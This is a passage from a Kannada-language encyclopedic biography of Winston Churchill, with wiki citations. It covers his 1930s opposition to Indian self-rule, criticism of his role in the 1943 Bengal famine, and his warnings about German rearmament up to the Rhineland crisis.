ಪುಟ. ೬೧೮</ref> [[ಭಾರತೀಯ ರಾಷ್ಟ್ರೀಯ ಕಾಂಗ್ರೆಸ್|ಭಾರತದ ರಾಷ್ಟ್ರೀಯ ಕಾಂಗ್ರೆಸ್]]ಮುಖ್ಯಸ್ಥರನ್ನು ಅವರು "ಪಾಶ್ಚಾತ್ಯ ದೇಶದ ಉದಾರತೆಗಳನ್ನು ಬಾಯಿಪಾಟ ಮಾಡಿರುವ ಬ್ರಾಹ್ಮಣರು" ಎಂದು ಹೇಳಿದ್ದಾರೆ.<ref>ಜೇಮ್ಸ್, ಪುಟ. ೨೫೪ ರಲ್ಲಿ ನಮೂದಿಸಲ್ಪಟ್ಟ ೧೮ ಮಾರ್ಚ್ ೧೯೩೧ರ ಭಾಷಣ</ref> ಇದೇ ವೇಳೆಯಲ್ಲಿ ಎರಡು ಪ್ರಮುಖವಾದ ಘಟನೆಗಳು ಚರ್ಚಿಲ್‌ ಅವರ ಘನತೆಗೆ ಕಾನ್ಸರ್‌ವೇಟಿವ್‌ ಪಕ್ಷದಲ್ಲಿನ ವರ್ಚಸ್ಸಿಗೆ ಕುಂದುಂಟುಮಾಡಿದವು. ಇವೆರಡನ್ನು ಕಾನ್ಸರ್‌ವೇಟಿವ್‌ ಪಕ್ಷಕ್ಕೆ ಆದ ಆಘಾತವೆಂದು ಪರಿಗಣಿಸಲಾಯಿತು. ಮೊದಲನೆಯದೆಂದರೆ ಅವರು ಸೆಂಟ್‌ ಜಾರ್ಜ್‌ನ ಉತ್ಸವದ ದಿನವಾದ ಎಪ್ರಿಲ್‌೧೯೩೧ರ ಸಂಜೆ ಮಾಡಿದ ಚುನಾವಣೆ ಕುರಿತಾದ ಪ್ರಚಾರ ಭಾಷಣ. ಅಧಿಕೃತವಾಗಿ ಕಾನ್ಸರ್‌ವೇಟಿವ್‌ ಪಕ್ಷವು ಆಯ್ಕೆ ಮಾಡಿದ ಅಭ್ಯರ್ಥಿಯಾದ ಡಫ್‌ ಕೂಪರ್‌ ಅವರನ್ನು ಸ್ವತಂತ್ರ ಕಾನ್ಸರ್‌ವೇಟಿವ್‌ ಪಕ್ಷದ ಅಭ್ಯರ್ಥಿಯೊಬ್ಬರು ವಿರೋಧಿಸಿದರು. ಸ್ವತಂತ್ರ ಅಭ್ಯರ್ಥಿಯು ಲಾರ್ಡ್‌ ರೊಥೆರ್‌ಮರ್‌, ಲಾರ್ಡ್‌ ಬೆವರ್‌ಬ್ರೊಕ್‌ ಮತ್ತು ಅವರಿಂದ ನಡೆಸಲ್ಪಡುತ್ತಿರುವ ವೃತ್ತಪತ್ರಿಕೆಗಳಿಂದ ಬೆಂಬಲಿಸಲ್ಪಟ್ಟವರಾಗಿದ್ದರು. ಆದಾಗ್ಯೂ ಚುನಾವಣೆಯ ಪೂರ್ವತಯಾರಿಯಾಗಿ ಏರ್ಪಡಿಸಿದ್ದ ಭಾಷಣದಲ್ಲಿ ಚರ್ಚಿಲ್‌ ಅವರು ಸ್ವತಂತ್ರ ಅಭ್ಯರ್ಥಿಯನ್ನು ಬೆಂಬಲಿಸಿದಂತೆ ಕಂಡುಬಂದಿತು.<ref>ಜೇಮ್ಸ್, ಪುಟ. ೨೬೨</ref> ಇದು ಬಾಲ್ಡ್‌ವಿನ್‌ ವಿರುದ್ದ ಪ್ರೆಸ್‌ ಬರೊನ್‌ ಅವರನ್ನು ಗೆಲ್ಲಿಸುವ ಒಂದು ಭಾಗವಾಗಿತ್ತು. ಡಫ್‌ ಕೂಪರ್‌ ಅವರ ಗೆಲುವಿನಿಂದಾಗಿ ಬಾಲ್ಡ್‌ವಿನ್‌ ಅವರ ಸ್ಥಿತಿತ್ವವು ಮತ್ತಷ್ಟು ಭಲಿಷ್ಠಗೊಂಡಿತು. ಮತ್ತು ಇದೇ ಸಂದರ್ಭದಲ್ಲಿ ಭಾರತದಲ್ಲಿ ಗಾಂಧಿ ಇರ್ವಿನ್‌ ಇವರ ನಡುವಿನ ವಿರೋಧದಿಂದಾಗಿ ಸಾಮಾಜಿಕ ಕ್ರಾಂತಿಗಳು ಪ್ರಾರಂಭವಾದವು. ಎರಡನೇಯದಾಗಿ ಚರ್ಚಿಲ್‌ ಅವರು, ಸರ್‌ ಸ್ಯಾಮುಯಲ್ ಹೊರಾರೆ ಮತ್ತು ಲಾರ್ಡ್‌ ಡರ್ಬಿಯವರು ಮಾಂಚೆಸ್ಟರ್‌ ಚೆಂಬರ್‌ ಆಪ್‌ ಕಾಮರ್ಸ್‌ನ್ನು ಒತ್ತಾಯಿಸಿ ಜಾಯಿಂಟ್‌ ಸೆಲೆಕ್ಟ್‌ ಕಮಿಟಿಗೆ ನೀಡಿದ ಭಾರತದ ಸವಲತ್ತುಗಳ ವಿಷಯವಾಗಿ ನೀಡಿದ್ದ ಆಧಾರಗಳನ್ನು ಬದಲಾಯಿಸುವಂತೆ ಒತ್ತಾಯಿಸಿದರು. ಮತ್ತು ಹೀಗೆ ಮಾಡುವುದರ ಮೂಲಕ ಸಂವಿಧಾನಿಕ ಹಕ್ಕುಗಳನ್ನು ಉಲ್ಲಂಗಿಸಿದ್ದಾರೆ ಎಂದು ಹೇಳಿದರು. ಆದರೆ ಅದರ ನಂತರ ನಡೆದ ವಿಚಾರಣೆಯ ನಂತರ ಹೌಸ್‌ ಆಪ್‌ ಪ್ರಿವಿಲೈಜ್‌ ಕಮಿಟಿಗೆ ನೀಡಿದ ಸಾಕ್ಷಾಧಾರದಲ್ಲಿ ಯಾವುದೇ ಉಲ್ಲಂಘನೆಯಾಗಿಲ್ಲ ಎಂದು ಹೇಳಿಕೆ ನೀಡಿದರು.<ref>ರೋಡ್ ಜೇಮ್ಸ್, ಪುಟಗಳು. ೨೬೯–೭೨</ref> ಈ ವರದಿಯು ಜೂನ್‌ ಹದಿಮೂರರಂದು ಚರ್ಚೆಗೆ ಒಳಗಾಗಲ್ಪಟ್ಟಿತು. ಚರ್ಚಿಲ್‌ ಅವರು ಇಡಿ ಸದನದಲ್ಲಿ ತಮ್ಮನ್ನು ಬೆಂಬಲಿಸುವ ಒಬ್ಬನೆ ಒಬ್ಬ ಸದಸ್ಯನನ್ನೂ ಹುಡುಕಲು ಅಶಕ್ತರಾದರು ಮತ್ತು ಚರ್ಚೆಯು ಯಾವುದೇ ರೀತಿಯ ಭೀನ್ನಾಬಿಪ್ರಾಯಗಳಿಲ್ಲದೇ ಕೊನೆಗೊಂಡಿತು. ಚರ್ಚಿಲ್‌ ಅವರು ಶಾಶ್ವತವಾಗಿ ಭಾರತದ ಸ್ವತಂತ್ರ ಹೋರಾಟದುದ್ದಕ್ಕೂ ಸ್ಟೇನ್ಲಿ ಬಾಲ್ಡ್‌ವಿನ್‌ ಅವರೊಂದಿಗೆ ಮನಸ್ತಾಪವನ್ನು ಹೊಂದಿದ್ದರು ಮತ್ತು ಬಾಲ್ಡವಿನ್‌ ಅವರು ಪ್ರಧಾನಮಂತ್ರಿಯಾಗಿರುವಷ್ಟು ಕಾಲವೂ ಸದನಕ್ಕೆ ಕಾಲಿರಿಸಲೇ ಇಲ್ಲ. ಕೆಲವು ಇತಿಹಾಸಕಾರರು ಇವರ ಪುಸ್ತಕವಾದ ''"ಮೈ ಅರ್ಲಿ ಲೈಫ್‌"'' (My Early Life (೧೯೩೦))ರಲ್ಲಿನ ಅವರ ಭಾರತದ ಬಗೆಗಿನ ನಿಲುವಿನ ಮೇಲೆ ಬೆಳಕು ಚೆಲ್ಲಿದ್ದಾರೆ.<ref>ಜೇಮ್ಸ್, ಪುಟ. ೨೫೮</ref> ಆದರೆ ಇನ್ನೊಂದು ವಿರೋಧಾಬಾಸದ ಮೂಲದಿಂದ ಹಲವಾರು ಇತಿಹಾಸಕಾರರು ಭಾರತದ ರಾಷ್ಟ್ರೀಯತಾ ವಾದದ ತಳಹದಿಯಲ್ಲಿ ನಿಂತು ಚರ್ಚಿಲ್ ಅವರ ಭಾರತದ ಬಗೆಗಿನ ಕ್ರೂರ ನಿಲುವನ್ನು ೧೯೪೩ರಲ್ಲಿ ಭಾರತದ ಬಂಗಾಳದಲ್ಲಿ ಬಂದ ದುರ್ಭೀಕ್ಷದ ಸಂದರ್ಭದಲ್ಲಿ ಕಾಣಬಹುದಾಗಿದೆ ಎಂದು ಹೇಳಿದ್ದಾರೆ. ಒಂದು ಕಡೆ ಯುದ್ದವೂ ಮತ್ತು ಇನ್ನೊಂದು ಕಡೆ ಬರಗಾಲದಿಂದಲೂ ಲಕ್ಷಾಂತರ ಜನರ ಸಾವಿಗೆ ಕಾರಣವಾದ ಸಂದರ್ಭದಲ್ಲಿ ಸರ್ಕಾರ ನಡೆಸುತ್ತಿದ್ದ ಚರ್ಚಿಲ್‌ ಸರ್ಕಾರವು ಅಪಾರವಾದ ಜನನಿಂದನೆಗೆ ಗುರಿಯಾಯಿತು.<ref>ಲಿಯೋನಾರ್ಡ್ ಎ. ಗಾರ್ಡನ್, ಒಂದು ಅವಲೋಕನ ''ಪ್ರೊಸ್ಪೆರಿಟಿ ಎಂಡ್ ಮಿಸರಿ ಇನ್ ಮಾಡರ್ನ್ ಬೆಂಗಾಲ್: ದ ಫೆಮೈನ್ ಆಫ್ ೧೯೪೩–೧೯೪೪'' ಗ್ರೀನೋಗ್ ಪೌಲ್ ಆರ್. ರಿಂದ., ''ಅಮೇರಿಕನ್ ಹಿಸ್ಟೊರಿಕಲ್ ರೀವ್ಯೂ'' , ಆವೃತ್ತಿ. ೮೮, ಸಂಖ್ಯೆ. ೪ (ಅಕ್ಟೋಬರ್ ೧೯೮೩), ಪುಟ. ೧೦೫೧</ref><ref>[http://www.jstor.org/stable/1874145 ಜೀಸ್‌ಟಿಒಆರ್ ಸಂಕ್ಷಿಪ್ತ ಚಿತ್ರ]</ref><ref>http://www.hnn.us/articles/೧೨೯೮೯೧.html{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}></ref> ಕೆಲವು ಟಿಕಾಕಾರರು ಅವರ ದುರಾಡಳಿತವನ್ನು ಮತ್ತು ಹಳೆಯ ಮಾದರಿಯ ಮಾರಾಟ ವ್ಯವಸ್ಥೆಯನ್ನು ಹದಗೆಡಿಸಿದ್ದರ ವಿರುದ್ದ ಟೀಕೆ ಮಾಡಿದ್ದಾರೆ.<ref>ಗಾರ್ಡನ್, ''ಅಮೇರಿಕನ್ ಹಿಸ್ಟೋರಿಕಲ್ ರೀವ್ಯೂ'' , ಪುಟ. ೧೦೫೧</ref> ''"ಚರ್ಚಿಲ್‌ ಎಂಡ್‌ ಗಾಂಧಿ"'' ಎಂಬ ಪುಸ್ತಕದ ಲೇಖಕರಾದ ಆರ್ಥರ್‌ ಹೆರ್ಮಾನ್ ಅವರು ಹೇಳಿದ ಪ್ರಕಾರ ನಿಜವಾದ ಕಾರಣವೇನೆಂದರೆ ಬರ್ಮಾವು ಜಪಾನಿಗೆ ಶರಣಾಗಿದ್ದರಿಂದ ಭಾರತಕ್ಕೆ ರಪ್ತಾಗುತ್ತಿದ್ದ ಬಹುಮುಖ್ಯ ಅಕ್ಕಿಯ ಮಾರ್ಗವು ಕತ್ತರಿಸಲ್ಪಟ್ಟಿತು. ಮತ್ತು ದಿನಾವಶ್ಯಕ ದಿನಿಸುಗಳ ಕೊರತೆಯು ಏರ್ಪಟ್ಟಿತ್ತು. ಇದನ್ನು ಸರಿದೂಗಿಸಲು ಬೇರೆ ಕಡೆಗಳಿಂದ ಅಕ್ಕಿಯನ್ನು ಆಮದುಮಾಡಿಕೊಳ್ಳುವುದನ್ನು ಚರ್ಚಿಲ್‌ ವಿರೋಧಿಸಿ ತಡೆದರು ಇದು ಕೂಡ ಯುದ್ದದ ಸಂದರ್ಭದಲ್ಲಿಯೇ ನಡೆದ ಘಟನೆಯಾಗಿತ್ತು.<ref>{{cite web|url=http://www.winstonchurchill.org/learn/in-the-media/churchill-in-the-news/575-the-bengali-famine|title=The Bengali Famine|publisher=Winstonchurchill.org|date=|accessdate=10 August 2009|archive-date=29 ಜೂನ್ 2009|archive-url=https://web.archive.org/web/20090629080911/http://www.winstonchurchill.org/learn/in-the-media/churchill-in-the-news/575-the-bengali-famine|url-status=dead}}</ref> ಇಂತಹ ತುರ್ತು ಪರಿಸ್ಥಿತಿಯಲ್ಲಿ ಭಾರತದ ಸೆಕ್ರೆಟರಿಯಾದ ಲೆವೊ ಅಮ್ರಿ ಮತ್ತು ವೈಸ್‌ರಾಯ್‌ ವೆವೆಲ್ ಅವರು ತುರ್ತಾಗಿ ಭಾರತಕ್ಕೆ ಅಕ್ಕಿಯನ್ನು ಕಳುಹಿಸುವಂತೆ ಕೋರಿಕೆಯನ್ನು ಸಲ್ಲಿಸಿದರು. ವೆವೆಲ್ ಅವರಿಗೆ ಟೆಲಿಗ್ರಾಂ ಮೂಲಕ ಉತ್ತರಿಸಿದ ಚರ್ಚಿಲ್‌ ಭಾರತದಲ್ಲಿ ಅಷ್ಟೊಂದು ಆಹಾರದ ಕೊರತೆ ಇದ್ದರೆ "ಗಾಂಧೀಜಿ ಇನ್ನೂ ಏಕೆ ಸಾಯಲಿಲ್ಲ."ಎಂದು ಹೇಳಿದರು.<ref>''[https://archive.is/20120630143154/www.newyorker.com/arts/critics/books/2007/08/13/070813crbo_books_mishra?currentPage=3 ಎಕ್ಸಿಟ್ ವೂಂಡ್ಸ್]'' , ಬೈ ಪಂಕಜ್ ಮಿಶ್ರಾ, ''ದ ನ್ಯೂ ಯಾರ್ಕರ್'' , ೧೩ ಅಗಸ್ಟ್ ೨೦೦೭.</ref> ಜುಲೈ ೧೯೪೦ರಲ್ಲಿ, ತನ್ನ ಹೊಸತಾದ ಕಛೇರಿಯಲ್ಲಿ ಭಾರತದ ಮುಸ್ಲಿಂ ಲೀಗ್‌ ಮತ್ತು ಭಾರತೀಯ ಕಾಂಗ್ರೆಸ್‌ನ್ನು ಇವರ ನಡುವಿನ ಮನಸ್ತಾಪವು ಹೆಚ್ಚಾಗಬಹುದೆಂದು ಆಶಿಸಿ ಒಂದು ಸಭೇಯನ್ನು ಕರೆದರು.<ref name="independent.ie" /> ====ಜರ್ಮನ್‌ ರೆಜಿಮೆಂಟ್‌ ಮತ್ತು ಯುರೋಪ್‌ ಮತ್ತು ಏಷ್ಯಾದಲ್ಲಿನ ಸಂಘರ್ಷಗಳು==== [[File:Sir Winston Leonard Spencer Churchill by Ambrose McEvoy.jpg|thumb|left|200px|ಎಂಬ್ರೋಸ್ ಮ್ಯಾಕ್‌ಇವೋಯ್‌ರಿಂದ ಚರ್ಚಿಲ್‌‌ರ ವ್ಯಕ್ತಿಚಿತ್ರ]] ೧೯೩೨ರ ಪ್ರಾರಂಭದಲ್ಲಿ, ಜರ್ಮನಿಗೆ ಫ್ರಾನ್ಸ್‌ನ ಸೈನ್ಯದಷ್ಟೇ ಮಹತ್ವವನ್ನು ನೀಡಬೆಕೆಂಬ ಹೇಳಿಕೆಯನ್ನು ವಿರೋಧಿಸಿ ಮಾತನಾಡಿ ತನ್ನ ಅಭಿಪ್ರಾಯವನ್ನು ತಿಳಿಸಿದ ಚರ್ಚಿಲ್‌ ಪದೇ ಪದೇ ಜರ್ಮನ್‌ನ ರೆಜಿಮೆಂಟ್‌ನ್ನು ಆಘಾತಕಾರಿ ಎಂದು ಅಭಿಪ್ರಾಯ ವ್ಯಕ್ತಪಡಿಸಿದರು.<ref>ಜೇಮ್ಸ್, ಪುಟಗಳು. ೨೮೫–೮೬</ref> ನಂತರ ಅವರು ಜರ್ಮನ್‌ ಸೈನ್ಯದ ವಿರುದ್ದ ''ಬ್ರಿಟನ್‌ ಸಿದ್ದವಾಗಬೇಕಾಗಿದ್ದ ಬಗೆ'' ಯನ್ನು ಕಣ್ಣಿಗೆ ಕಟ್ಟುವಂತೆ ವರ್ಣಿಸಿ ಅದನ್ನು ಬರಲಿರುವ ಬಿರುಗಾಳಿಗೆ ಹೋಲಿಸಿದರು.<ref>ಪಿಕ್‌ನೆಟ್, ಎಟ್ ಆಲ್. ಪುಟ. ೭೫</ref> ಇದನ್ನು ಮೊದಲ ಬಾರಿಗೆ ವಿರೋಧಿಸಿದವರೆಂದರೆ ಲಾರ್ಡ್‌ ಲೊಯ್ಡ್‌ ಆಗಿದ್ದಾರೆ.<ref>ಲಾರ್ಡ್ ಲೊಯ್ಡ್ ಮತ್ತು ಬ್ರಿಟೀಷ್ ಅಧಿಪತಿ ಜೆ ಚಾರ್ಮ್ಲೇಯ್ ಅವನತಿ ಪುಟಗಳು. ೧, ೨, ೨೧೩ff</ref> ಚರ್ಚಿಲ್‌ ಅವರ ನಿರಂಕುಶ ಆಡಳಿತದ ಬಗೆಗಿನ ನಿಲುವು ಅಸ್ಪಷ್ಟವಾಗಿತ್ತು. ೧೯೩೧ರಲ್ಲಿ ಅವರು ಲೀಗ್‌ ಆಪ್‌ ನೇಶನ್‌ನ್ನು ಜಪಾನ್‌ ವಿರುದ್ದ ತಳೆದಿರುವ ನೀತಿಗಾಗಿ ಮಂಚೂರಿಯಾದಲ್ಲಿ ವಿರೋಧಿಸಿದರು. "ನಾವು ಇಂಗ್ಲೆಂಡ್‌ನಲ್ಲಿಯೇ ಜಪಾನ್‌ನ ಪರಿಸ್ಥಿತಿಯನ್ನು ಅರ್ಥಮಾಡಿಕೊಳ್ಳಬಹುದು. ಇದೊಂದು ಪುರಾತನ ನಗರವಾಗಿದ್ದು ಒಂದು ಕಡೆಯಲ್ಲಿ ರಷ್ಯಾದ ಕ್ರೂರ ಬೆದರಿಕೆಗೆ ಬಲಿಯಾಗಿದೆ. ಮತ್ತು ಇನ್ನೊಂದೆಡೆ ನಾಲ್ಕೋ ಐದೋ ಪ್ರದೇಶಗಳಲ್ಲಿ ಕಮ್ಯುನಿಸ್ಟ್‌ ತತ್ವಗಳಿಂದ ಆಕರ್ಷಿತವಾದ ಚೀನಾವನ್ನು ಹೊಂದಿದೆ" ಎಂದು ಹೇಳಿದರು.<ref>ಜೇಮ್ಸ್ ಪಿ. ೩೨೯ ಚರ್ಚಿಲ್‌ ಕಾಮನ್ಸ್</ref> ಸಮಕಾಲಿನ ವೃತ್ತಪತ್ರಿಕೆಗಳಲ್ಲಿ ಅವರು ಸ್ಪೇನ್‌ನ ರಿಪಬ್ಲಿಕ್‌ ಸರ್ಕಾರವನ್ನು ಕಮ್ಯೂನಿಷ್ಟ್‌ ಫ್ರಂಟ್‌ ಎಂತಲೂ ಫ್ರಾನ್ಸಿನ ಸೈನ್ಯವನ್ನು ಕೆಂಪಂಗಿ ದಳ ನಿಗ್ರಹ ಪಡೆ "ಎಂಟಿ ರೆಡ್ ಮೂವ್‌ಮೆಂಟ್‌" ಎಂತಲೂ ವರ್ಣಿಸಿದ್ದಾರೆ.<ref>ಜೇಮ್ಸ್ ಪು. ೪೦೮</ref> ಅವರು ಹಳೆಯದಾದ ತತ್ವಗಳನ್ನು (Hoare-Laval Pact)ಗಳನ್ನು ಬೆಂಬಲಿಸಿದರು ಮತ್ತು ೧೯೩೭ರ ವರೆಗೂ [[ಬೆನಿಟೋ ಮುಸೊಲಿನಿ|ಬೆನಿಟೋ ಮುಸಲೋನಿ]]ಯವರನ್ನು ಕೊಂಡಾಡಿದರು.<ref>ಎ ಜೆ ಪಿ ಟೇಲರ್ ಬೀವರ್‌ಬ್ರೂಕ್ ಹಮಿಶ್ ಹ್ಯಾಮಿಲ್ಟನ್ ೧೯೭೨ ಪು. ೩೭೫</ref> ಹೌಸ್‌ ಆಪ್‌ ಕಾಮನ್ಸ್‌ ನಲ್ಲಿ ೧೯೩೭ರಲ್ಲಿ ಮಾತನಾಡುತ್ತಾ ಚರ್ಚಿಲ್‌ ಅವರು " ನಾನು ತೋರ್ಪಡಿಕೆಗೆ ಹೇಳುತ್ತಿಲ್ಲ. ಒಂದು ವೇಳೆ ಕಮ್ಯುನಿಸಂ ಮತ್ತು ನಾಜಿಸಂ ಇವುಗಳಲ್ಲಿ ಯಾವುದಾದರೂ ಒಂದು ಆಯ್ಕೆಯನ್ನು ಕೊಟ್ಟರೆ ಖಂಡಿತವಾಗಿಯೂ ನಾನು ಕಮ್ಯುನಿಸಂ ಅನ್ನೆ ಆಯ್ಕೆ ಮಾಡಿಕೊಳ್ಳುತ್ತೇನೆ"ಎಂದಿದ್ದಾರೆ.<ref>{{Cite book|year=2005|title=In the footsteps of Churchill|author1=Richard Holmes|publisher=Basic Books|isbn=9780465030828|page=185|url=https://books.google.com/?id=Kyd945KSiQwC&pg=PA185&dq=%22I+would+choose+communism%22}}</ref> ೧೯೩೫ರಲ್ಲಿ ಬರೆದ ಪ್ರಬಂದ "[[ಅಡೋಲ್ಫ್ ಹಿಟ್ಲರ್|ಹಿಟ್ಲರ್‌]] ಎಂಡ್‌ ಹಿಸ್‌ ಚಾಯ್ಸ್‌" ಮತ್ತು ೧೯೩೭ರಲ್ಲಿ ಪ್ರಕಟಿಸಲಾದ ಈ ಪುಸ್ತಕದ ಬಗ್ಗೆ ಚರ್ಚಿಲ್‌ ಅವರು ಅಭಿಪ್ರಾಯ ವ್ಯಕ್ತಪಡಿಸುತ್ತಾ ಅವರು ತನ್ನ ಶಕ್ತಿಯನ್ನು ಸವಾರ್ಧಿಕಾರದಿಂದ,ಹಿಂಸೆಯಿಂದ, ಕ್ರೂರತೆಯಿಂದ ತೆಗೆದುಕೊಳ್ಳಬಾರದಿತ್ತು ಎಂದು ಹೇಳಿ ಮುಂದುವರಿಸುತ್ತಾ " ಆದಾಗ್ಯೂ ಇತಿಹಾಸದಲ್ಲಿ ಇತಿಹಾಸದಲ್ಲಿ ಈ ಕ್ರಿಯೆಯು ಜರ್ಮನಿಗೆ ಶಾಂತಿಗಾಗಿ ಗೌರವಪೂರ್ವಕ ''ಹೋರಾಟಮಾಡಿದವರ ಸಾಲಿ'' ನಲ್ಲಿ ಸೇರಿ ಇವರನ್ನು ಯುರೋಪ್‌ ರಾಷ್ಟ್ರಗಳ ಸೈನ್ಯದ ಎದುರಲ್ಲಿ ರಾಷ್ಟ್ರಕ್ಕೆ ಸಹಾಯ ಮಾಡಿದವರಾಗುತ್ತಾರೆ" ಎಂದು ಹೇಳಿದರು.<ref>ಚರ್ಚಿಲ್‌, ವಿನ್‌ಸ್ಟನ್ ಗ್ರೇಟ್ ಕಂಟೇಂಪರರೀಸ್. (c) ೧೯೩೭ ಜಿಪಿ ಪಟ್ನಮ್ ಸನ್ಸ್ ಇನ್‌ಕಾರ್ಪೊರೇಶನ್. ನ್ಯೂಯಾರ್ಕ್, ಎನ್‌ವೈ:ಪು. ೨೨೫</ref> ೭ ಫೆಬ್ರುವರಿ ೧೯೩೪ರಲ್ಲಿ ಅವರು ಸೇನೆಯನ್ನುದ್ದೇಶಿಸಿ ಮಾಡಿದ ಭಾಷಣದಲ್ಲಿ ಅವರು ವೈಮಾನಿಕ ಶಕ್ತಿಯನ್ನು ಹೆಚ್ಚಿಸಿಕೊಳ್ಳಬೇಕು ಮತ್ತು ಸೈನ್ಯಕ್ಕಾಗಿ ಒಂದು ಮಂತ್ರಿ ಮಂಡಳವನ್ನು ರಚಿಸಬೇಕು ಎಂದು ಒತ್ತಾಯಿಸಿದರು. ೧೩ ಜುಲೈ ರಲ್ಲಿ ಅವರು ಮಾಡಿದ ಎರಡನೇ ಭಾಷಣದಲ್ಲಿ ಲೀಗ್‌ ಆಪ್‌ ನೇಶನ್‌ ಗೆ ಹೊಸ ರೂಪ ಕೊಡುವ ಇಂಗಿತವನ್ನು ವ್ಯಕ್ತಪಡಿಸಿದರು. ಈ ಮೂರು ವಿಷಯಗಳು ೧೯೩೬ರ ಮೊದಲಲ್ಲಿ ಅವರ ಪ್ರಾತಿನಿಧ್ಯ ದ್ಯೇಯಗಳಾಗಿದ್ದವು. ೧೯೩೫ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ'' ’ಪೋಕಸ್‌’ನ'' ಸಂಸ್ಥಾಪಕ ಸದಸ್ಯರಾಗಿದ್ದಾರೆ. ಇದು ಯಾರು ಸೈನ್ಯಕ್ಕೆ ಸ್ವಂತಂತ್ರೆಯನ್ನು ಮತ್ತು ಶಾಂತಿಯನ್ನು ನೀಡಬೇಕೆಂದು ಆಶಿಸುತ್ತಾರೋ ಅಂತಹ ಎಲ್ಲ ಪಕ್ಷಗಳ ಮತ್ತು ಎಲ್ಲ ವ್ಯಾಸ್ತವ್ಯಪ್ರದೇಶದವರನ್ನು ಒಟ್ಟುಗೂಡಿಸಿತು.<ref>ಫಾರ್ ಎ ಹಿಸ್ಟರಿ ಆಫ್ ದ ಫೋಕಸ್ ಸೀ ಇ ಸ್ಪೀಯರ್ ''ಫೋಕಸ್ '' ವೂಲ್ಫ್ ೧೯೬೩</ref> ''ಪೋಕಸ್‌'' ಇದು ಹೆಚ್ಚು ಜನರನ್ನು ಕಲೆಹಾಕಿತು ಮತ್ತು ೧೯೩೬ರಲ್ಲಿನ ನ್ಯಾಯಬದ್ದ ಒಪ್ಪಂದದ ಚಳುವಳಿಗೆ ಕಾರಣವಾಯಿತು. ೧೯೩೬ರ ಫೆಬ್ರುವರಿಯಲ್ಲಿ ಜರ್ಮನ್‌ ರಿನ್‌ಲ್ಯಾಂಡ್‌ನ್ನು ವಶಪಡಿಸಿಕೊಂಡಾಗ ಚರ್ಚಿಲ್‌ ಅವರು ಸ್ಪೆನ್‌ನಲ್ಲಿ ರಜಾ ದಿನಗಳನ್ನು ಕಳೆಯುತ್ತಿದ್ದರು. ಮತ್ತು ತಕ್ಷಣ ಅವರು ಪ್ರತ್ಯೇಕಗೊಂಡ ಬ್ರಿಟನ್‌ಗೆ ವಾಪಸಾದರು. ಕಾರ್ಮಿಕ ಸಂಘಟನೆಗಳು ಮಂಜೂರಾತಿಯನ್ನು ವಿರೋಧಿಸಿ ತಮ್ಮ ವಿರೋಧವನ್ನು ಅತ್ಯಂತ ಕಠಿಣವಾಗಿ ಮಾಡುತ್ತಿದ್ದರು ಮತ್ತು ರಾಷ್ಟ್ರೀಯ ಸರ್ಕಾರವು, ಆರ್ಥಿಕ ಮಂಜುರಾತಿಯ ಪರವಾಗಿನ ವಕೀಲರು ಮತ್ತು ಈ ಪ್ರಯತ್ನದಲ್ಲಿ ಬ್ರಿಟನ್‌ ಒಂಟಿಯಾಗಲಿದೆ ಫ್ರಾನ್ಸ್‌ ಇದರಲ್ಲಿ ಮಧ್ಯಪ್ರವೇಶ ಮಾಡಲಾರದು ಎಂದು ಹೇಳುವವರ ನಡುವೆ ಒಡೆದುಹೊಗಿತ್ತು.<ref>ಹೆರಾಲ್ಡ್ ನಿಕಲ್ಸನ್‌ ೧೩ ಮಾರ್ಚ್‌ರಂದು ತಮ್ಮ ಪತ್ನಿಗೆ ಪತ್ರ ಬರೆದು ಅಲ್ಲಿನ ಪರಿಸ್ಥಿತಿಯನ್ನು ವಿವರಿಸುತ್ತಾರೆ "ನಾವು ಕೊನೆಯ ಎಚ್ಚರಿಕೆ ಏನಾದರೂ ಜರ್ಮನಿಗೆ ಕಳುಹಿಸಿದರೇ ಅವಳು ಎಲ್ಲಾ ಕಾರಣಗಳನ್ನು ಬದಿಗಿಟ್ಟು ಕೆಳಗಿಳಿಯಲೆ ಬೇಕು. ನಂತರ ಅವಳು ಕೆಳಗಿಳಿಯಲಿಲ್ಲ ಮತ್ತು ಯುದ್ಧ ಪ್ರಾರಂಭಿಸಿದೆವು.... ಈ ದೇಶದ ಜನ ಯುದ್ಧ ನಡೆಯುವುದನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ವಿರೋಧಿಸಿದರು. ನಾವು ಕೆಲವೊಂದು ವಿಷಯವನ್ನು ಸೂಚಿಸಿದರೇ ನಾವು ಸಾರ್ವತ್ರಿಕ ವಿರೋಧ ಎದುರಿಸಬೇಕಾಗುತ್ತದೆ. ಅದಕ್ಕೊಸ್ಕರ ನಾವು ಅವಮಾನಕರವಾಗಿ ಕೆಳಗಿಯ ಬೇಕಾಗಬಹುದು", ''ಡೈರೀಸ್ ಆ‍ಯ್‌೦ಡ್ ಲೆಟರ್ಸ್ ೧೯೩೦–೧೯೩೯'' ಪು. ೨೪೯</ref> ಮಾರ್ಚ್‌ ೯ರಂದು ಚರ್ಚಿಲ್‌ ಅವರು ಮಾಡಿದ ಭಾಷಣವು ಅರ್ಥಪೂರ್ಣವಾಗಿತ್ತು. ಮತ್ತು ನೆವಿಲ್ಲೇ ಚೆಂಬರ್ಲಿಯನ್‌ ಇವರಿಂದ ರಚನಾತ್ಮಕವಾದ ಭಾಷಣವೆಂದು ಹೊಗಳಿಕೆಗೂ ಪಾತ್ರವಾಯಿತು. ಆದರೆ ವಾರದ ಅವಧಿಯಲ್ಲಿ ಚರ್ಚಿಲ್‌ ಅವರು ಅಟಾರ್ನಿ ಜನರಲ್‌ ಸರ್‌ ಥಾಮಸ್‌ ಇನ್‌ಸ್ಕಿಪ್‌ ಅವರ ಬದಲಾಗಿ ಸೈನ್ಯಕ್ಕಾಗಿನ ಸಹಕಾರ ಮಂತ್ರಿ ಹುದ್ದೆಗೆ ಹೋದರು.<ref>ಜೇಮ್ಸ್ ಪುಪು. ೩೩೩–೩೭</ref> ಆಲನ್ ಟೈಲರ್ ಇದನ್ನು ಕ್ಯಾಲಿಗುಲಾ ಅವನ ಕುದುರೆಯ ನಿಯೋಗವನ್ನು ಕಳುಹಿಸಿದ್ದಷ್ಟೇ ಪ್ರಮುಖವಾದುದು ಇದು ಎಂದು ಹೇಳುತ್ತಾನೆ.<ref>''ದ ಒರಿಜಿನ್ಸ್ ಆಫ್ ದ ಸೆಕೆಂಡ್ ವರ್ಲ್ಡ್ ವಾರ್'' ಪು. ೧೫೩</ref> ಜೂನ್‌ 